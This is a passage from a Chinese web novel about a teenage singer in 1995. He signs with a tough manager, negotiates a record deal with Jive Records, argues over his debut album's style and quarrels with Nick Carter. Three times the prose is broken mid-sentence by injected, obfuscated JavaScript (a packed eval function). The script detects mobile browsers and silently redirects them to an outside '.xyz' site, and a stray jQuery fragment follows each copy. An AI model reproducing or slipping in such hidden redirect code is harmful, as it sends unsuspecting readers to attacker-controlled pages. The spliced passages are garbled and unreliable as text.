“听着，小子，我签人前要先说好规矩，你得给我仔细听清楚。因为我从不给人第二次机会。” 阿尔文洗耳恭听。 “第一，你必须每天都给我坚持创作，每天都要。别跟我废话找理由说什么没有灵感，那都是借口！是狡辩！我通通不接受。只要你还有一口气，就得给我不停写。至于休息，等你什么时候成为超级巨星时才有资格休息。” “第二，管好你的私生活。NONEEDLE！NOPOWDER！NODRUG！不要让我发现你碰任何不该碰的东西！” 说到这里，卡拉格的情绪尤其激动，那双眼睛如刀子一般从阿尔文手腕上扫过，看到上面干干净净才稍微缓和些许。 “我见过太多太多因为那些该死的东西而被毁掉的天才，蠢得要命，甚至还有人被自己的呕吐物噎死。你要是敢做那些，就别怪我做那个恶人。” “第三，在你成年前，你赚的钱都要设置信托，我看过太多父母毁掉孩子的把戏，可不想我手下出个被爹妈控制的倒霉蛋。” 这句话是说给理查德·迈瑞克听的，但英俊的男人丝毫没有被指着鼻子内涵的尴尬，甚至还能笑盈盈地点头附和：“哦，这确实很重要，好莱坞也有不少这样的例子。” 阿尔文刚开始被这一长串的要求弄得有些晕头转向，还担心自己做不到，但稍微一梳理，就发现对自己来说完全不是难事，甚至这些本身就是他对自己的要求。 相比较同龄人，他并不那么喜爱寻求刺激，也并不认为被管束就是要命的事，有时候为了和谐的氛围甚至愿意让渡一部分自由。 而且卡拉格甚至都没有禁止他喝酒！ 所以根本不用纠结，阿尔文毫不犹豫地就接受了这些要求，甚至还觉得是不是有点太轻松，好像是天上掉馅饼，连吃带拿的…… “我接受，休斯顿先生。我可以向你保证，你所说的要求我都能做到。或者说，这些规矩比起我的梦想来说根本不算什么。” 阿尔文深吸一口气，眼睛直视着卡拉格，语气无比认真：“在哪里签字？” 20. 十二个月 和一个超级厉害的经纪人签约是什么体验？ 阿尔文认为现在的自己完全可以回答这个问题。 那就是……爽爆了！ 在知道阿尔文居然和卡拉格·休斯顿签约后，jive唱片在第二次见面会谈时，接待等级直接上了一个level，甚至连创始人克里夫都亲自到场表示尊重。无论到底是因为卡拉格的咖位还是看好阿尔文的潜力，不必深究，最起码表面的态度给得够足。 在进行一番客套的寒暄后，会议室里便展开了一场没有硝烟的战争。 双方的专业团队从制作预算、宣传资源、分成比例等等不同方面，对合同中的每一条款项和数字进行反复拉扯。有的地方细节到让阿尔文甚至怀疑自己到底有没有看过合同文件，不然怎么会一点记忆都没有。 他刚开始还聚精会神，每当有人发言时目光便会随之移动，专注地看着对方，听到认可处还会认真点头表示赞同。但听着听着，注意力便不受控制地开始涣散。 那些过于专业的术语像是抹了润滑油一般，哧溜一下就从他光滑的大脑皮层上滑过，没有留下一点痕迹。 阿尔文甚至开始怀疑自己之后的求学生涯。我真的要学法律或考商学院吗？真的吗？我真的可以吗？ 不过也没有怀疑太久，昨晚因紧张和兴奋而失眠到半夜的后遗症已经出现。困意不受控制地涌上来，阿尔文忍不住偷偷打了个哈欠，蓝眼睛里泛起水光。 当然，“偷偷”只是阿尔文自己的想法，实际上显眼得不得了。 英俊又漂亮的男孩哪怕坐在那里不动也足够引人注目，尤其是因为困倦，他的神情还带着些慵懒，好看的蓝眼睛忧郁又迷人。更何况他还是今天当之无愧的主角，只不过阿尔文自己没意识到。 谈判本身就是一场利益与心理的博弈，而这里坐着的都是商场上的老狐狸，他在里面根本插不上话，甚至觉得有点无聊。为了今天正式场合而穿上的正装在此刻有些束缚，他懒洋洋地松了松有些紧的领带，开始撑着下巴发呆。 Jive唱片高管克里夫自然也注意到了男孩的心不在焉，并决定以此为话题。 目前的谈判形势对他们并不有利，不是jive唱片不够心黑，而是卡拉格·休斯顿太过老辣。这个浸淫商场多年的老狐狸对合同中任何可能存在的风险都了如指掌，根本不给他们任何设置陷阱的机会，一遇到坑就疯狂填土，还摆出来一副爱签不签，你们不接受我的条件我就换一家的态度，实在是令人恨得牙痒痒。 平时只有艺人和经纪人求着他们唱片公司签约，如今位置却调转了个方向，让人怎么能不生气？ 克里夫有好几次差点想拍桌走人，但最后还是强忍着离席的冲动，继续坐在谈判桌旁。没办法，因为卡拉格·休斯顿真的说到做到。他想要找家愿意发行的厂牌简直不要太容易。尤其是最近市场上还有风声放出来，说RCA唱片正在和阿尔文接触。 面对这种状况，即使难受，jive唱片也只能捏着鼻子认了。谁让阿尔文·迈瑞克的前途是肉眼可见的一片光明呢？顶级的美貌、天籁般的嗓音、优秀的才华，还有为他保驾护航的传奇经纪人…… 上帝啊，眼前这小家伙的未来简直亮得人睡不着觉！！！ 没人舍得放弃。 克里夫也是。在发现合同很难继续推进时，他便想聊些题外话缓解压力：“说起来，休斯顿先生，你可能不知道一件事。上次迈瑞克先生来我们公司洽谈合约时，曾经说出一些令人惊讶的话。” 卡拉格·休斯顿坐在那里，嘴里叼着未点燃的雪茄，气定神闲，仿佛一切都在掌握中，闻言挑挑眉：“哦，他说了什么？” 嗯？我说了什么？乍然听到自己名字的阿尔文一激灵，本能地坐直身子，以为自己错过了什么重要的事情，那茫然又无辜的样子实在令人发笑。 原本紧绷的气氛骤然一松。 虽然表现得不明显，但不少人都悄悄翘起了嘴角。 “他说他愿意放弃全部预付款，接受5%的版税分成，甚至合约年限和宣传预算也可以再谈。”克里夫提起这件事可不单纯只是为了调节气氛，他也勾起嘴角，但是笑意不达眼底，语气带着点意味深长：“那可是相当、相当慷慨的让步，不是吗？” 而这些让步却是卡拉格团队现在正拼命争取的东西，实在嘲讽。 “不知道休斯顿先生是否知情呢？” 卡拉格先问了阿尔文：“真的？你真的说了那些？” “哦，你说的是这个啊，当然。”阿尔文恍然大悟，他理所当然地点点头：“我确实说了啊。” 如果现实世界里也有场控，那么阿尔文现在一定身处聚光灯正中心。 在场所有人都目光炯炯地看向他。 阿尔文自己却并不觉得有什么问题。在来之前，他就已经反复强调过对歌曲词曲权的看重，此时非常平静，甚至还觉得其他人太大惊小怪。 他眨眨眼，语调轻快：“因为我可以没钱，但是我不能没有我的歌。如果只付出一点代价就能得到我真正想要的，为什么不呢？”是的，这就是他朴素的价值观。 这副理所当然的模样甚至让其他人开始怀疑是不是自己有问题。而克里夫突然理解了为什么执行总裁巴里私底下和他说这件事时会一脸不可思议。 这小子要不是特别有钱，要不就是脑子坏了。 好在有人帮他把这种疑问问出了口。 “让我确认一下，你主动放弃预付款就是为了拿到词曲权？？”卡拉格烟也不抽了，他扔掉叼在嘴里的雪茄，瞪着眼不可置信道：“老天，这绝对是我听过最他X最蠢的主意！不要钱只要艺术？迈瑞克先生，恐怕路边的蚂蚁都比你有商业头脑！对音乐的热爱可付不起录音棚的费用！！” “那就是为什么我如此需要您的帮助。”阿尔文在想要讨好谁的时候，向来是不吝啬甜言蜜语的。他眨巴着一双真诚到过分的蓝眼睛，满脸无辜：“也许就是知道我会如此胡来，上帝才会派你这么一位优秀的经纪人来拯救我。” 卡拉格：“……” 其他人：“……” 和刚刚桀骜不驯的模样反差也太大了吧！ 这副能屈能伸、知错就改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177996|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的模样反而逗笑了卡拉格。他本身就不是真的生气，只是无语于年轻人过于随意的态度，和毫无商业头脑的任性行为。那可是相当一大笔财富。不过话虽如此，从他内心来说反而有些欣赏。 “说的没错，还算有种。”他哈哈大笑。年轻人就是要有点血性，敢闯敢拼才能做出一番事业。只要代价自己能承受得起，凭什么就不行了？ —— 这个小插曲并没有影响谈判的进行。 在一场酣畅淋漓的拉扯后，双方终于就彼此的权利义务达成了一致，jive唱片被迫大“出血”。当然，这里的出血得打个引号，因为只是相对来说压榨得不够多。 阿尔文这边也做出了很多让步。像是初次见面时“大放厥词”想要的母带版权从一开始就被否决，但经过谈判，他也确实获得了100%的词曲版权。而且未经同意，jive唱片不能随便拿他的歌去重制或者剪辑。也算是一个不错的结果。 除此之外，jive唱片还承诺给阿尔文首张专辑的预算提高到两百万，由公司承担制作人费用，并为他提供目前能接触到的顶级录音棚。相应的，合约年限定为5年，阿尔文在此期间至少发行3张专辑。 交叉条款被卡拉格一眼认出并直接否决，并放话巡演和周边公司能分成的上限最多为15%，而且仅限签约期内的巡演，否则他绝不会答应。 阿尔文态度坚定地站在经纪人这一边，并在卡拉格冲他使眼色时，机灵地配合。整个团队训练有素，默契地站起身就要走。齐刷刷一排人吓得jive唱片的人还以为他们谈不妥就要动用武力。好在只是虚惊一场。 在这种略有些无赖的手段下，jive唱片最后还是无奈松口，但把比例调到了20%。卡拉格毫不犹豫地一口答应。 啊哈！看来规则有的时候也并不怎么管用。看着眼前这幽默的一幕，阿尔文本能地用力抿紧嘴唇，强压下嘴角的弧度，好避免自己突然不受控制地笑出声，打断经纪人的攻势。 那可着实费了他好一番力气。 不过等缓过神来，坏心眼的男孩便悄悄将这一招记在了心里，等待在未来的某个时间便会派上用场。 版税比例和预付款虽然阿尔文之前放过话可以不要，但这里没人当真。最终，卡拉格团队争取到了10%，不含包装费，而且还有相应的销量递增条款。 最重要的是，jive唱片承诺会在十八个月内给阿尔文发行专辑。 “不行，半年内。”卡拉格的眼神锐利。 “六个月？那实在太短了！至少要给我们十八个月的推广窗口！”唱片公司的工作人员急得差点站起来。 后街男孩的第一首单曲已经准备好，马上就要发行，宣传资源肯定都会优先倾斜向组合，他们没办法在如此短的时间内处理好阿尔文的专辑。虽然真要做也不是不行，但jive唱片想要更大的利益，更好的成绩，自然也希望能制作出更优秀的唱片。 在又一番拉扯后，双方都各退一步，定在了十二个月内。 十二个月内，Jive唱片必须为阿尔文发行一张专辑。 21. 那不适合我 当马克斯·马丁刚刚结束自己的休假，身心愉悦地回到工作室，准备看看自己还有没有遗漏的工作没有完成时，就被同事告知jive唱片又新签了一个艺人，并且为了给他做新专辑，正在和他们CheironStudios（工作室）洽谈。 “那不是很不错吗？新项目就有新入账，谁会嫌钱多呢？”留着一头及肩柔顺金棕色长发的马克斯·马丁这时候才24岁，还很稚嫩，没有乱糟糟的络腮胡，正是对一切都抱有十足热情的时期。 他爱音乐！爱制作！更爱钞票！当然，如果做出来的歌曲可以大火就更完美了！但可惜目前制作的内容全都叫好不叫座，销量并不拔尖，不过这更让马克斯·马丁铆足了劲想证明自己。 同事对他狂热的工作态度已经习以为常，继续淡定地分享自己得知的八卦：“因为这次又是一个年轻的男孩。后街男孩里最小的那个尼克卡特，你记得吗，他们俩一样大。” “Again?”这下马克斯马丁也大惊失色了：“又一个青少年？” 没有多少人想要和正值青春叛逆期的teenager合作。哪怕尼克卡特和AJ算是比较好沟通的，在录音期间也属实让大家都吃了不少苦头。 “那确实很奇怪，对吧？不过我倒是有点好奇会是什么样的人，又是什么样的来头？”同事开始八卦。 两人鸡同鸭讲，但最后倒是在同一件事上达成了一致，那就是给钱的就是上帝。只要钞票给够，管他是谁，他们都会努力做出令客户满意的曲子。 —— 但这个提案在交给阿尔文时，却被他毫不犹豫地拒绝了。 签约后，由于合约上那紧迫的时间要求，公司内部立刻开始马不停蹄地准备新专辑。大公司的好处就是一切都有固定的流程，效率极高。作为主人公的阿尔文也因此迅速接触到了很多专业音乐制作的内容。 就比如现在，制作部门总监拉曼·坎贝尔的办公室里，几个公司内部的音乐制作人正在开小会，讨论下一张专辑该采用什么样的编曲和风格。 阿尔文也被邀请一起参与。 一张专辑在面市前，要先经过企划、录音、混音、母带处理、视觉包装等等步骤，才能最终走到发行这一步。 虽然后面的步骤听起来很专业，但是绝大多数的唱片公司和音乐工作室都有相当成熟的流程和模板，只要定好方向，就能在短期内迅速推进项目进程。反而是看起来最简单的企划，往往会耗费最多最长的时间。新专辑应该定什么主题，要写哪些歌，都必须经过公司内部一次、两次乃至反复多次开会才能决定。 不过由于阿尔文之前早已将自己目前写的几首歌曲都交给音乐制作人，包括《TheRide》（旅程）、《Whynotbelieveme》（为什么不相信我？）、和后街那晚偷偷喝酒留下的《Littlesecret》、还有基于塞西尔夫人桌上的水晶球写出的《Anticipation》（预知能力）。 这几首歌的风格和主题都很明显，定下了整张专辑的基调，倒是省了很多时间。 但是如何制作还需要进一步研究。 拉曼·坎贝尔的第一反应是找之前合作过的，水平稳定的制作人，例如CheironStudios，这家工作室刚刚才和他们合作过后街男孩的第一首单曲，效果非常不错。 但阿尔文在简单翻看完方案后，就直接提出了反对意见。 他靠坐在扶手转椅里，修长的双腿随意交叠，因为沉浸在思绪里而无意识地转动着椅子。等到做出决定后才坐正，开口先是赞扬。 “我也听了后街男孩的那首歌，编排新颖，鼓点时髦，听感很好，是首制作优秀的歌曲。” 《We''veGotItGoinOn》确实相当不错，这首歌带着明显的瑞典流行乐和欧洲舞曲的风格，强烈的旋律加上带感的鼓组，只要听上几秒钟，就会立刻意识到它有多适合跳舞。阿尔文就很喜欢，因为里面有他很喜欢的组合ABBA的味道。 “但是那不适合我。” 这点也是事实，阿尔文说得很肯定：“或者说和我这首歌、亦或是这张专辑的风格不符。” 每个制作人都有属于自己的强烈风格，有审美的音乐人要做的是正确匹配，而不是一味套公式。 在阿尔文的设想里，自己的这张专辑应该有着纯净的人声和悠扬的旋律，能够让人在午后的阳光里放松享受，而不是在自己唱着“总会有下一段旅程”时，突然响起一阵劲爆的电吉他或鼓点，然后自己一边高喊着“这就是旅程”，一边闭着眼旋转跳跃舞出风格…… 那实在是太诡异了！ 完全不敢想象那到底会有多尴尬，阿尔文抖了抖身上的鸡皮疙瘩，还是希望回到自己的舒适区。 “我还是想做乡村音乐。” 乡村音乐的市场一直稳定而庞大，无论是从音乐性还是传唱度上，都从来没有离开过主流，哪怕另类摇滚或者是hiphop如日中天的时期，也仍然有着固定且忠诚的听众。 阿尔文也是听乡村音乐长大的，他创作的歌曲里面也带着强烈的抒情和叙事风格，本身就很专业对口。 而且还有最重要的一点原因。 “听着，坎贝尔先生，”说到这里，阿尔文身体前倾，言辞恳切又真诚，“这是我的第一张专辑，它对我来说非常重要、意义非凡。既然能用已经验证过的、我更擅长且稳妥的方式取得成功，何必要冒险？” 尽管看起来像是那种能为音乐梦想孤注一掷的理想主义者，但阿尔文骨子里还是很现实的。也许是与生俱来，也可能是父母的基因问题，在对风险与收益的精准评估上，他活脱脱就是一个理查德和克莱尔的翻版。 趋利避害、精打细算在他这里从来不是贬义词。 “至于突破性和创新性，我认为那应该是首专成功以后才需要去苦恼的，现在未免还为时过早。” 阿尔文是这么想的，也是这么如实说的。 拉曼·坎贝尔的表情若有所思。其他的制作人中却有人脸上出现了明显的不赞同，但被制作总监抬手压下。 “你说得有道理，我们会考虑的。” 但在会议结束，阿尔文离开关上门后，有人就立刻跳出来。 “听着，我不否认这小子有点天赋……好吧好吧，我承认，见鬼！他说不定还真是个天才。但咱们现实点，真的要让个十五岁的小屁孩来发号施令吗？”丹尼·摩尔克激动地快要站起来。 他是这个小组资历最老的成员。 目前绝大多数主流唱片公司都已经形成了一套高度工业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177997|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化的运作模式，艺人专辑往往由A&R部门统筹管理，但是底下分为多个专业小组，分别负责不同的艺人。 例如阿尔文现在就有三名制作人负责他的首张专辑，分别是丹尼·摩尔克，一个喜欢追逐潮流的资深制作人；伊桑·汉金斯，一个刚毕业没多久的新人，喜欢跟在丹尼摩尔克后面拍马屁；还有约翰·乔尔，之前熟悉的面试官。 除了约翰·乔尔主动对阿尔文释放了友好信号外，丹尼·摩尔克一向是公事公办的冷淡态度，有时面对阿尔文的问题还会非常不耐烦，随口敷衍两句就要打发人走。伊桑·汉金斯则要简单很多，他只是如墙头草一般试图讨好所有人。 丹尼·摩尔克还在发表自己的不满：“他懂什么？会写几首旋律就敢指挥专业人士？编曲、制作、混音，他懂哪一个？？得了吧！这些技术都需要十几年的打磨，可不是凭那张漂亮脸蛋就能拥有的。” “老天，怎么就没人觉得这事儿离谱呢！” 虽说合约上写了阿尔文可以全程参与到歌曲制作中，并且拥有一定的话语权，但他感觉到了十足的冒犯。认真的吗？让一个十五岁的小屁孩来和我说这个？ 年龄歧视在这个行业从来不是秘密，甚至在全世界各个行业都是常态。就像是好莱坞最权威的奖项奥斯卡、亦或是全球顶级运动之一的F1，全都掌握在一群老白男手里一样，论资排辈从来不是稀罕事。 哪怕阿尔文拿出了非常不错的单曲，也只会被嗤笑果然是青少年，写的东西都这么单薄，没有营养没有深度。 伊桑·汉金斯连连点头想要附和，但被旁边一直一言不发的约翰·乔尔狠狠踢了一下板凳，又讪讪闭上了嘴。 一直保持沉默的拉曼·坎贝尔终于开口。 “阿尔文的意见只是参考，具体怎么做后续还要看开会讨论出来的结果。你现在激动什么？” “但是！” 拉曼·坎贝尔敲了敲桌子，略带警告性地看了一眼还想说什么的丹尼·摩尔克：“够了。我不管你私底下到底有多少情绪，但起码表面上要给我装出和谐的样子。你们小组的工作还需要靠他推进，摩尔克先生，你最好不要成为那个耽误进度的人。” 作为A&R部门的总监，拉曼·坎贝尔怎么可能察觉不到最近手下的人心浮动。他心中也有自己的考量。 之前的后街男孩可没有造成这样的效果。主要原因是他们只有脸蛋、嗓音和舞台魅力，创作能力基本为零，并不会威胁到制作人的地位。但阿尔文不一样。虽然嘴巴上说着酸溜溜的话，可只要有耳朵的人都可以听出《TheRide》的潜力。 是，确实很正能量、很保守、不够尖锐，但绝对好听，绝对能够大火。 那写不出这样曲子的所谓的资深制作人，又算是什么呢？ 不过拉曼·坎贝尔并不准备掺和进这段浑水。他的身份和位置注定了阿尔文不仅不会成为威胁，还会成为他晋升的超级助力。如果任期内可以培养出又一个大爆艺人，那他下一步或许就能直升管理层。 当然，他也不会站在阿尔文一边。 “而且与其想着他到底配不配，不如思考如何让他花掉更多预算。”拉曼·坎贝尔向后靠在椅背上，十指交插，语气意味深长。 “别忘了你的指标，摩尔克先生。” 22. 膈应 阿尔文察觉不到这种若有若无的针对吗？ 当然不。 从总监办公室出来后，他并没有立刻离开。而是透过百叶窗的缝隙，窥见玻璃墙面内那几个人突然开始情绪高涨地谈论着什么。墙面的隔音很好，什么也听不见，但是阿尔文能从正在慷慨发言的人本身猜到他在说什么鬼话。 啧，真烦。他不耐烦地啧了一声，对这种低劣的手段感到厌倦。 为什么就不能好好地做好你的本职工作呢？制作能力又不突出，给下属派发的指示也不明确，想赶潮流赶不上，想做经典但又没那个深度，除了资历还有什么？现在却还好意思反咬一口…… 到底是怎么混到这个职位的呢，摩尔克先生？他几乎是恶劣地想着，真令人好奇啊。 高挑瘦削的男孩站在那里，脸上的表情很淡，几乎称得上平静，完全看不出内心的波涛汹涌，只有压得极低的眉尾泄露了那股克制的火气。黑发垂落，遮住了眼里的晦涩不明。 “阿尔文？你怎么在这里？” 突然有人喊他的名字，他侧过脸时还没来得及转换表情，冷色调的蓝眼睛扫过去，里面藏着的情绪晦涩又深沉，锋利得几乎能割伤人。让打招呼的人本能一惊，扬在空中的手不知道如何是好。 但下一秒，英俊的男孩又恢复了往日的友善热情，好像刚才只是错觉一般。 “哦！嗨！布莱恩、凯文、还有尼克！你们今天有工作吗？”阿尔文几大步迎上去，错开总监办公室可以观察到的范围，扬起笑脸和来人打招呼。 “……是的。”布莱恩尴尬地放下手，不知道为什么突然非常紧张。他咽了咽口水，不受控制地开始絮叨起来：“你知道的，马上单曲就要发行，制作人说有些细节还需要跟我们再谈谈，呃，包括之后的节目录制，也有很多需要注意的地方。” “那听起来就非常辛苦。”阿尔文眉宇间流露出感同身受的神色。他停顿片刻，嘴角扬起，又鼓励道：“但好在所有的付出都会有回报，不是吗？我相信凭你们的实力和歌曲质量，这首单曲一定会很受欢迎！” 明明那笑容很温暖，赏心悦目，但布莱恩不知道为什么就心里发飘，只好摸摸鼻子，讪讪一笑。 好在阿尔文的注意力不在这里，年轻人的视线悄然落在了另外一个金发蓝眼的男孩身上。 后街男孩的成员年龄差距很大，除了尼克和AJ，其他人都早已成年。尼克·卡特和队友的关系不错，但还是更喜欢和同龄人交流，于是回到纽约后便经常和阿尔文约着一起出门。阿尔文一般都会欣然接受，毕竟他也是需要社交的。 照理说，签了jive后他们的关系应当更进一步，可事实并非如此。在某个时间点后，尼克·卡特突然就消失在了阿尔文的生活里。哪怕处于同一家公司，阿尔文都有相当长一段时间没再见过他，甚至连电话也打不通。 这么明显的回避只要不瞎应该都能注意到。 阿尔文迅速就意识到了这一点，并正准备抓住人问个明白。他可不是什么善良包容的性格，如果说之前可以因为尼克·卡特好看的脸和金发蓝眼而对男孩有格外的优待，那么现在这种无缘无故冷暴力的行为就完全无法容忍。至少要给他一个合情合理的理由。 “我们上次见面是什么时候，尼克？”阿尔文在笑，但是笑容却没什么温度，他用那种略带嘲讽的夸张语调询问：“你最近很忙吗？也许你应该给我一份你的行程表，好让我提前预约。” “……没什么。”15岁的男孩有着一头金灿灿的头发，表情管理能力还很稚嫩，哪怕尽力掩饰，也藏不住那种别扭和不想多说的态度。 在被阿尔文紧紧盯着，却发现自己半天憋不出一个解释后，尼克·卡特选择突然拔腿就走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177998|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿尔文：“？” 这没头没脑的行为更是让人直皱眉。他目送尼克卡特的身影离开，笑意消失，刚刚扬起的嘴角彻底拉平：“这是在搞什么？” “抱歉，阿尔文，我先去看看他的情况。”一直没说话的凯文并没有回答阿尔文的问题，而是去追跑远了的尼克卡特，只留下布莱恩一个人在原地。 “他到底有什么毛病？”这下阿尔文的眉头皱得更紧了。“你们又到底在打什么哑谜？” 布莱恩有些难以启齿。他和阿尔文的关系其实一般，并不是很熟，后街里自然还是活泼爱笑的尼克和阿尔文关系最好。 “……这说来话长。” “那就长话短说。” 吞吞吐吐间，布莱恩还是把事情的全过程都告诉了阿尔文。 起因来自于公司内部不知何时悄然流传开来的小道新闻，说是高层考虑过要把阿尔文塞进后街男孩代替尼克·卡特，这让尼克非常不舒服。他本身就因为家庭原因和找不准自己在组合内的定位而有些敏感，加上年纪又小，在得知这个消息后直接心态失衡，在队内闹了好一番脾气，连带着将怨气和不满一同发泄到阿尔文身上。 布莱恩解释：“这根本就是无稽之谈，我们都知道不会的。还有一个星期新单曲就要发布，怎么可能在这个时候换掉尼克，他只是太紧张了。” 阿尔文沉默片刻，突然问：“那和我有什么关系？” 早上出门时随便套的新卫衣还没洗过，未处理过的衣服标签磨得后颈皮肤生疼，阿尔文忍耐了一天，原本还可以继续忍下去，但此刻，那原本微不足道的刺痒仿佛突然被放大一千倍，让他连一秒钟都无法再忍受。 所以他选择放任自己的情绪流淌。 阿尔文双手环胸，做出了一个防御性的动作，嗤笑着又重复了一遍：“那和我有什么关系？” 23. 后街成绩 1995年的9月1日是个大雨天。 连绵不绝的阴雨将整个纽约都笼罩在无边无际的雨幕中。 对绝大多数人来说，这就是一个和往常别无二致的普通日子，除了大雨带来的阴郁和不便让人困扰外。但对于jive唱片，今天却是一个检验成果的关键时刻。 后街男孩的《We''veGotItGoin''On》将在今天正式发布。 下午四点。 阿尔文踩着满地的积水冲进公司大楼时已经浑身湿透，黑发凌乱地贴在额头上，发梢还在不断往下滴水，从头到脚几乎能拧出水来，格外狼狈。 但他的第一反应却是检查怀里被雨伞紧紧笼罩着的外带打包盒，然后松了口气：“呼——还好你没有湿。”不枉他牺牲自己。 前台接待的莉娜倒吸一口气：“老天，阿尔文！你没带伞吗？” “带了，”阿尔文展示给她看怀里的食物，心情非常不错，“但是全给它们打了。” 这都是为后街成员准备的。 阿尔文本来没打算参加他们等待首日成绩的会议。 这倒不是不关心朋友，只是美国高中的秋季学期开始后，他每天都忙得脚不沾地，恨不得一分钟掰成两半用，所有的时间都安排得满满当当。哪怕想一直泡在录音室，也不得不返校学习。 克莱尔当初并没有出现在签约现场，也没有在合同上签字，但好歹没有反对，相当于默认了这个结果。阿尔文对此已非常满意，骨子里很相似的他明白这就是母亲所能作出的最大让步。 而为了不碰到克莱尔的底线，也为了拯救这段岌岌可危的母子关系，让其不至于真的跌到谷底，他最好自觉一点，比如说拿到一个还算看得过去的SAT成绩。 至于这个还算看得过去到底以谁为标准，老天，还是放过他吧…… 不过思来想去，阿尔文最终还是打算抽空去和后街男孩一起等待首周成绩，因为他需要市场对青少年艺人的最新反馈。 虽然他现在还在和尼克·卡特“冷战”。 上次不欢而散后，他们两个人就再也没有说过话。阿尔文如尼克所愿，彻底把他当成了空气，哪怕从走廊面对面碰上，也能笑意盈盈和其他四个人打招呼的同时，完全无视那个金发脑袋。 尼克满不满意不知道，但阿尔文不在乎，顺手的事。 其他人夹在这对闹矛盾的15岁青少年之间左右为难，试图缓和关系：“Youneedtotalk！” 你们需要谈谈！ “不，我们不需要。” 阿尔文不接茬，不管说什么都只笑着糊弄过去，半点不提和好的事情。 “我没生气啊。”他笑着说，甚至没有特地避开尼克，说得真心诚意，无比自然，还用了比喻：“就像是某天你突然看到手心有血，翻来覆去找了大半天才发现，哦！原来是我一直用的杯子裂了道口！” 他不认为尼克的迁怒和回避对他有那么大的影响。比起怀疑自己到底做错了什么，阿尔文更愿意将其理解为膈应。当时涌上来的困惑和不适就像是突然看到手心有血，找了一圈才发现原来是一直使用的水杯不知何时裂了道锋利的口子，划得人鲜血淋漓。 “确实有点疼，但也仅此而已，那就是全部了。毕竟你总不至于对着杯子大喊大叫吧？未免也太荒唐。真正该做的事是掀开垃圾桶盖，然后啪的一下，把杯子丢掉。” “结束。” 那股情绪过去后，阿尔文会为杯子破损而可惜，可也会毫不犹豫地扔掉已经没用的东西。 其他人：你看我信你吗？ 竖着耳朵听完，结果发现自己被阴阳怪气成了破杯子的尼克·卡特：……要气晕了.JPG。 但哪怕快气晕，他也一反常态地保持了沉默，硬生生从活泼少年憋成了锯嘴葫芦，甚至被催去道歉还会急眼。 一来二去，其他人也不愿意掺和进他们俩的破事。 不过阿尔文还是很有原则的，不会迁怒别人，和后街男孩的其他成员仍旧照常相处。所以便在放学后买了食物带去公司，准备陪朋友们一起等首日成绩。 谁知道这该死的雨下得这么大！ —— 夏天的余热还未散去，全力工作的空调嗡嗡作响，也仍旧驱散不开房间里的燥热。不过也有可能是因为房间里的人自己心情太过忐忑烦躁。 当阿尔文匆匆忙忙地换完衣服，捧着几大盒外带食物，艰难地用膝盖顶开会议室的玻璃门挤进来时，看见的就是眼前这副沉寂到发闷的场景。 几个人四散在各处，AJ的棒球帽檐压得极低，尼克在啃手指甲，就连最沉稳的凯文也在无意识地抖腿，全都一副魂不守舍的模样。 一看到有人推门，五双眼睛齐刷刷望过来。 “Guys！你们的——”阿尔文的声音戛然而止。 为什么每个人看起来都那么严肃？ 本来勾起的嘴角收敛，他的心里升起一些不好的预感，但还是装作没有注意到原本凝重的氛围一般，试图活跃气氛。“哇哦，你们这是在排练什么默剧吗？” 他一边絮絮叨叨，一边把食物从袋子里拿出来：“别演了，先来吃点东西。这可是我排了二十分钟队才抢到的！那家店未免也太火爆了一点。希望它真的有那么好吃，值得我费这么大功夫。” 包装纸被他故意弄得哗啦作响，打破了空间的沉默。 “这里有招牌芝士披萨、牛肉汉堡、奶酪薯条，还有香草奶昔。实话说，奶昔的口味选择实在是太多了，为了省事我就选了我喜欢的，不合胃口别勉强。” 浓郁的芝士和牛肉香气迅速占领了整片空间。在场的全是年轻的男孩，闻到快餐霸道的香气哪还能忍得住，哪怕一个个全都哭丧着脸，也没有拒绝送上门的食物。 只有尼克没有动。 要知道这家店还是他推荐给阿尔文的。他看着眼前的食物，一时间心中五味杂陈，犹豫着还是没有动作，选择继续窝在沙发上，甚至不受控制地啃起了指甲。 阿尔文没空管金发脑袋在想什么，他现在有正事要干。 随便挑了一罐汽水，碳酸饮料的拉环打开时发出“啪”的一声脆响，阿尔文喝了一口，状似漫不经心地问：“哦，对了，现在的成绩怎么样？” 看似漫不经心，实则不然。 这也是他今天来这里的主要目的之一。不仅仅是为了朋友，也是为了了解一下行情。毕竟无论再怎么骄傲于自己的才华，再怎么想要将自己塑造成艺术家的形象，也不能改变外人眼中他和后街男孩或其他偶像艺人是同一类人的刻板印象。他需要知道公众传媒和市场对青少年艺人的反馈。 没有人说话。 阿尔文的心逐渐往下沉。 